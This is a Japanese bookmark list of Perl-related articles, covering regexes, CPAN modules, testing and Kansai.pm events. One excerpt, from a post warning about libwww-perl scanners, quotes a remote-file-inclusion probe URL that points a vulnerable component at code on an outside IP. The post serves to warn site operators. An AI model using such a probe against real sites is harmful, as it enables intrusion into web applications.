タグ

perlに関するkt_kyotoのブックマーク (17)

  • Amazon.co.jp: Perl テスティング ハンドブック: tokuhirom: Digital Ebook Purchas

    Amazon.co.jp: Perl テスティング ハンドブック: tokuhirom: Digital Ebook Purchas
  • 電話番号、郵便番号にマッチする真の正規表現 : にぽたん研究所

    Shibuya.pm #16 「夏の正規表現祭り」で、正規表現のお話をさせていただきました。 まぁ、「電話番号にマッチする正規表現」とか「郵便番号にマッチする正規表現」とかよく書かれてるけど、「どれもこれも手緩いよね」って話。 あ、だいぶはしょったかな。 とりあえずスライドに書いたので、発表をご覧になってない方はスライドからご覧ください。 ふと見返すと、このブログで電話番号の正規表現を公表するのは 3 度目ですが、あれからだいぶ経ってますね。 今ではもっと厳密な正規表現を作っています。 そして、Number::Phone::JP に続き、Number::ZipCode::JP という酔狂なモジュールが公開された記念で、郵便番号にマッチする正規表現を今回初めて公開しますが、そもそもここまで厳密な正規表現が公開されること自体、邦初公開ってヤツでしょう。 Shibuya.pm でも言いましたが

    電話番号、郵便番号にマッチする真の正規表現 : にぽたん研究所
  • ハイフン無しのISBNを渡すとハイフン付きのJSONPを返すサービスを作ってみた - natu_nの日記

    中身的にはBusiness::ISBN - work with International Standard Book Numbers - metacpan.orgを呼んでJSONPにして返すだけですが、ニッチな需要があるのでw 2008年10月ぐらい?のデータを元にしているので全部のパターンには対応出来ていないのが残念ではありますが サンプル画面 http://natu.blue.coocan.jp/isbntest.htmlにアクセス 入力エリアにISBNを入力(ISBN-10またはISBN-13) ISBNのチェックデジットが合ってなくても補正される 桁数が合ってないとエラーになる 99945(Namibia)以降が対応されてない JSONPのURL http://natu-n.com/cgi/ISBN.cgi?isbn=ISBN-13(10)&callback=コールバック名 ただ

  • 作る前にCPANを探せ - natu_nの日記

    折角MacBookが手元にあるのに、毎回一々サーバにUploadしてTRY&ERRORというのもかなり馬鹿馬鹿しいなと思っていたが、 当然@NICの位置もサーバと違うのでエラーが無くなった後に書き換えてUploadというのもどうか?という事でほったらかしにしていた。 先日、たまたま眺めていた WEB+DB PRESS Vol.39 作者: 縣俊貴,吉原日出彦,伊藤直也,ひろせまさあき,繁田卓二,桐山俊也,川村丹美,西澤晋,高林哲,宮川達彦,小飼弾,たつを,高井直人,児玉サヌール,田中ばびえ,角田直行,竹下肯己,きたみりゅうじ,久松慎一,豊嶋淳史,石川辰雄,スターロジックマジカチーム,天野仁史,高橋征義,角谷信太郎,馬場保幸,山竜三,井上澄,吉田和弘,池邉智洋,永安悟史,山陽平,尾島良司,猪股健太郎,WEB+DB PRESS編集部出版社/メーカー: 技術評論社発売日: 2007/06/2

    作る前にCPANを探せ - natu_nの日記
  • http://perl.tv/public/NicoVideo.pm-0.01

    package WWW::NicoVideo; use strict; use warnings; use Carp (); use Encode qw(from_to); use Encode::Guess qw/euc-jp shift-jis/; use WWW::Mechanize; use HTML::TokeParser; use Data::Dumper; use CGI::Lite; $Data::Dumper::Indent = 1; # mild pretty print use vars qw($VERSION); $VERSION = '0.01'; $| = 1; my $received_size = 0; my $last_update = 0; my $request_time = time; sub new { my ($class, $mail, $pa

  • dankogai伝説 : 小野和俊のブログ

    404 Blog Not Foundの注目エントリを見てて思ったんだけど、 やっぱりdankogaiはすごい。エントリ数もブクマ数もすごい。 ということで、イチロー伝説にちなんでdankogai伝説をお送りします。 ・トラックバックしただけで相手ブロガーが泣いて謝った、心臓発作を起こすブロガーも ・一文字もない空エントリでもホッテントリ入り ・寝ている間にも3エントリをポスト ・パソコンを起動せずにトラックバックしたことも ・ホッテントリ1位でも納得できなければエントリ削除 ・ディスプレイを一睨みしただけで10万アクセス ・初めて書評を書いたときにamazonがダウンしたことは有名 ・グッとガッツポーズしただけで5エントリポストされた ・リンクされるとYahoo!でも臨時でサーバー増設 ・言葉を覚える前からブログを書いていたという噂も ・あまりにもブクマされるのではてなユーザーが利用規約違

    dankogai伝説 : 小野和俊のブログ
  • ゆーすけべー日記

    サキとは彼女の自宅近く、湘南台駅前のスーパーマーケットで待ち合わせをした。彼女は自転車で後から追いつくと言い、僕は大きなコインパーキングへ車を停めた。煙草を一吸ってからスーパーマーケットへ向かうと、ひっきりなしに主婦的な女性かおばあちゃんが入り口を出たり入ったりしていた。時刻は午後5時になる。時計から目を上げると、待たせちゃったわねと大して悪びれてない様子でサキが手ぶらでやってきた。 お礼に料理を作るとはいえ、サキの家には材が十分足りていないらしく、こうしてスーパーマーケットに寄ることになった。サキは野菜コーナーから精肉コーナーまで、まるで優秀なカーナビに導かれるように無駄なく点検していった。欲しい材があると、2秒間程度それらを凝視し、一度手に取ったじゃがいもやら豚肉やらを迷うことなく僕が持っているカゴに放り込んだ。最後にアルコール飲料が冷やされている棚の前へ行くと、私が飲むからとチ

    ゆーすけべー日記
  • Use of uninitialized value の傾向と対策 - bonar note

    テストスクリプトで Use of uninitialized value の valuewarning を出しまくってみました。 #!/usr/bin/perl use strict; use warnings; my $str; # undifined string my %hash; # undifined hash # Use of uninitialized value in pattern match # Use of uninitialized value in substitution $str =~ /a/; $str =~ s/a/b/g; my $foo = 'hello'; $foo =~ s/hell/$str/; # Use of uninitialized value in string eq # (numeric eq, ==, lt, gt, ...) if

    Use of uninitialized value の傾向と対策 - bonar note
  • Perl-Magazin $foo

    Leider mussten wir aus zeitlichen Gründen das Perl-Magazin einstellen. Wenn Sie an alten Ausgaben des Perl-Magazins interessiert sind, dann schreiben Sie uns bitte eine Mail an info@perl-magazin.de Winter 2014 Websockets mit Mojolicious Boilerplatecode mit Import::Into reduzieren Einführung in die Automatisierung mit Rex Das Moose Update Rezension - Medizin Was die Windows PowerShell mit Perl verb

  • ニコニコ動画をスクレイピング & FLV保存するPerlモジュールを作ってみた。 (Re::Monologue)

    毎日楽しくニコニコ動画を見ていたら、ランキングデータをテキストデータで取得して自分ランキングを作りたくなりました。そんなときはPerlだなーとかりかり書いていたら、なんだかモジュールっぽいものになりました。折角だから晒してみます。ツッコミ歓迎。 WWW::NicoVideo [pod] 使い方 use WWW::NicoVideo; my $n = new WWW::NicoVideo( 'mail', 'password'); # ランキング情報を取得する my $data = $n->ranking( span => 'weekly', type => 'mylist', all => 1 ); # 任意のタグ一覧情報を取得する my $data = $n->tag( word => '孔明の罠', type => 'view', all => 0, ); # 動画再生ページの情報を取

  • WEB DB PRESS vol.38 - naoyaのはてなダイアリー

    WEB+DB PRESS Vol.38 の見誌が届きました。連載も今回で7回目。今回は POE の話の後編です。複数の HTTP サーバーに非同期で同時アクセスするクライアントプログラムを POE::Component::* に頼らずつくり、その後 POE::Component を紹介しつつ IRC bot を作る、という内容になってます。先日の前編の vol.37、それから先日の YAPC::Asia の資料とあわせてお読みいただけると理解が深まるかなと思います。 今月号は新連載が色々始まってたりして関心が高いわけですが、断固guy 小飼弾さん (http://blog.livedoor.jp/dankogai/) の Alpha Geek に逢いたいのゲストがIT戦記の id:amachang とあの"はまちちゃん"で、はまちちゃんの写真が載っていました。はまちちゃんの顔が見たい人は

    WEB DB PRESS vol.38 - naoyaのはてなダイアリー
  • libwww-perl は不正アクセス専門ツールと化した (´Α`)キエロヨ | Linux - P-SOC

    libwww-perl なんだけども、最近、不正アクセスに悪用されることが多いようだ。 このサイトにも User-Agent を libwww-perl としたホストが大量に変な URI を求めてくる。 チョーウザイんですけどっっっ!! (-∀ー#) ブログサイトなんかの脆弱性を探しているカンジ。ブログを運営しているところは気をつけよう。 アクセスログはこんなかんじ "GET / HTTP/1.1" "GET //administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=http://213.133.108.122/alex.gif? HTTP/1.1" "GET //administrator/components/com_peoplebook/param.peoplebook.php

  • if 式内の .. 演算子の使い方 - cooldaemonの備忘録

    kazeburo 氏のハテブを眺めていたら下記を発見 naoyaグループ - naoyaの日記 - if /regexp/../regexp/ 隣の席の id:iwai2ug 氏とイロイロ調べてみて、下記の事が判明。 書式は、式1 .. 式2 式1 と 式2 は、正規表現である必要がない 式1 か 式2 が真なら、真 式1 が真になると、式2 が真になるまで、真 式毎に状態を管理している use strict; use warnings; my $fixture = <<'__FIXTURE__'; name:cooldaemon age:29 gender:man I love perl, ruby and javascript. __FIXTURE__ open my $fixture_fh, '<', ?$fixture; while (<$fixture_fh>) { print

    if 式内の .. 演算子の使い方 - cooldaemonの備忘録
  • いやなブログ: 配列操作の比較表: Ruby, Python, JavaScript, Perl, C++

    配列操作の比較表: Ruby, Python, JavaScript, Perl, C++ プログラムを書いていると、他のプログラミング言語の記憶とごっちゃになって、「配列の後ろに要素を追加するのは push だっけ、 append だっけ」などと混乱することがあります。特に Ruby, Python, JavaScript はコードの書き方が似ているので、この問題が起きがちです。 そこで、備忘録として、 Ruby, Python, JavaScript, Perl, C++ の配列操作の比較表を作りました。一番慣れている Ruby を基準にしています。間違いなどがあったらご指摘いただけると助かります。他の言語のもあるといいなあ。 Ruby (Array) Python (list) JavaScript (Array) Perl (@) C++ (std::vector)

  • [Plagger][kansai.pm] 関西 Perl Mongers 第7回ミーティングに行った | umqの日記 | スラド

    ちょっと前の話になりつつあるので、記憶をたぐりながら書いておく Kansai.pm の第7回ミーティングに行ってきた 演題は、``Plagger World Tour in Osaka'' で YAPC::ASIA->YAPC::NA->OSCON2006->YAPC::EU と続いたワールドツアーだとか。 だいたいの話としては Plagger ってなにレシピ山盛りもうそれPlaなんて言わないというカンジか。 覚えてるキーワードめも CPAN 依存山盛り: ざっと 140: 組み合せは irc 情報によると 葉っかージャパンに 9,000 あるって載ってたらしいCPAN モジュールあるものは積極的に使う 壊れてたら直すソース嫁 スケルトン生成するから書き始めやすい perl の入門にもいいかも会場の手配から全部演者のmiyagawaさんがやった(すごい)powerpoint のスライド 2

  • 『新版Perl言語プログラミングレッスン』無料プレゼント - 結城浩のはてなブログ

    注意:応募期間が過ぎましたので、申し込みは締め切りました 結城浩です。2006年10月20日に『新版Perl言語プログラミングレッスン入門編』が刊行されます。 書は2001年の初版刊行以来、多くの読者の支持を受けてきたPerl言語入門書のロングセラーです。このたび、現在の処理系にそぐわない記述を改めたり、きちんとuse strict; use warnings;するなどの修正を行いました。 で、恒例になってきましたが (^_^; 日ごろの感謝を込めて、『新版Perl言語プログラミングレッスン入門編』を無料プレゼントいたします。送料も無料です。 当選人数:7人 応募期間:2006年10月5日(木)〜10月11日(水) 応募条件:以下の(A)(B)(C)のうち少なくともいずれか1つを実行してください。 (A) あなたのWebサイト(mixi可)に「結城浩」という文字列を含むエントリを書く。内

    『新版Perl言語プログラミングレッスン』無料プレゼント - 結城浩のはてなブログ
  • イベント/第7回ミーティング告知 - Kansai.pm

    Kansai.pm第7回ミーティングを行います 第7回ミーティングを開催します。 今回の内容はPlagger開発者の宮川さんによる「Plagger World Tour in 大阪」です。平日の夜ですが、ぜひご参加ください。 日時 2006年10月17日(火) 18時〜21時 会場 デジハリ大阪校 定員 70名 70名を超える登録があった場合、椅子だけになりますが定員を100名に変更します。 参加費 無料です。 内容 18:00 開場 18:30〜20:00 Plagger World Tour in 大阪 20:00〜21:00 雑談・撤収 懇親会 今回は懇親会は予定していません。 参加方法 締め切りました。 事前登録なしでの飛び入り参加は、定員に達しているとお断りする場合があることをご了承ください。

  • 1